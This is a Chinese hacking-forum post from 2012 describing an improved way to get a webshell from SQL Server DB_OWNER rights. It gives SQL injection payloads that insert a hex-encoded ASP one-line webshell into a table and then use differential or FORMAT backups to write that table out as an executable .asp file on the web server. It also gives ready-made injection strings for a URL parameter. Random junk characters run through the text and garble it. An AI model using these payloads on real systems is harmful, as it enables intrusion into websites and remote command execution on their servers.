找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2393|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:! S  D' l# l; {' L2 r" Q  W% p
; J/ R# l# J# M* q& D
减少备份文件大小,得到可执行的webshell成功率提高不少1 u% t  [! q- C! ~4 P# L
一利用差异备份3 M( V- g# k/ [
加一个参数WITH DIFFERENTIAL8 J' b9 ~# I! X! T9 \+ n
# [: P$ S+ E3 L5 m0 ~) q
1
& ~2 d( u" U6 q8 A2 c2. D" ~% ^$ _3 }9 {) T
3
% B" W$ {: k$ V6 {- Y! P( Z. b9 U- P4
5 y4 n/ W) x" I" Z- l8 K$ K declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
8 l" j0 R, h! A& c+ V& j& ~create table [dbo].[xiaolu] ([cmd] [image]);
: `3 N% B, U) r$ ?/ g: z0 g- ainsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)2 i7 u9 E0 l: m! _1 p
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
) o3 o2 s) Q! o5 Y+ z4 ~4 Y, [" e1 o2 _
二利用完全FORMAT
/ W& \1 b2 p1 m8 I' ?- c( N加一个参数WITH FROMAT  M9 U8 Q8 G! r9 s/ M2 f
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
: R/ j8 s9 ?* V8 @* r
# _5 H8 V9 e6 e8 T0 b2 N( {7 N1  c! S5 e& t9 |  `; J& J$ A7 C
2  d6 L: h: b+ _1 W- @7 T' ^/ h. x
3
# t% b5 L" g5 R  i% U4
7 v1 N  x& N' Z0 o& U9 _- f declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
/ M- f4 Y, Z( m% u5 ]' C4 O0 r; Ocreate table [dbo].[xiaolu] ([cmd] [image]);; l: b3 U, Z: m- D
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)' e4 F+ u4 s/ ?+ D% S2 g+ S" o
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT $ O# Z1 S- d. j# P( G7 q: b, y
. m' D/ s0 M  P3 {& y2 |
总的来说就是那么简单几句,下面以备份数据库model为例子
9 f5 z5 W$ ]; P  R6 S% y( v16 I2 M% v3 a7 B; x' e4 S
1 C+ \' ~  v, k* `2 Y
1- C( p, g$ k2 j% Q6 `
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
7 a. s' c- E) C  U: ]8 Z5 o* U- C2 Y7 w+ N" |
2
% ]' q9 B: U' x; |5 E
! b- R# p( \& Y* [1 ~7 h( r1/ f/ T# Q' W* N* S3 f$ w& V. F
id=1;backup database model to disk='你的路径‘ with differential,format;--
6 x$ j" e8 E' D. z  \0 ^7 F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表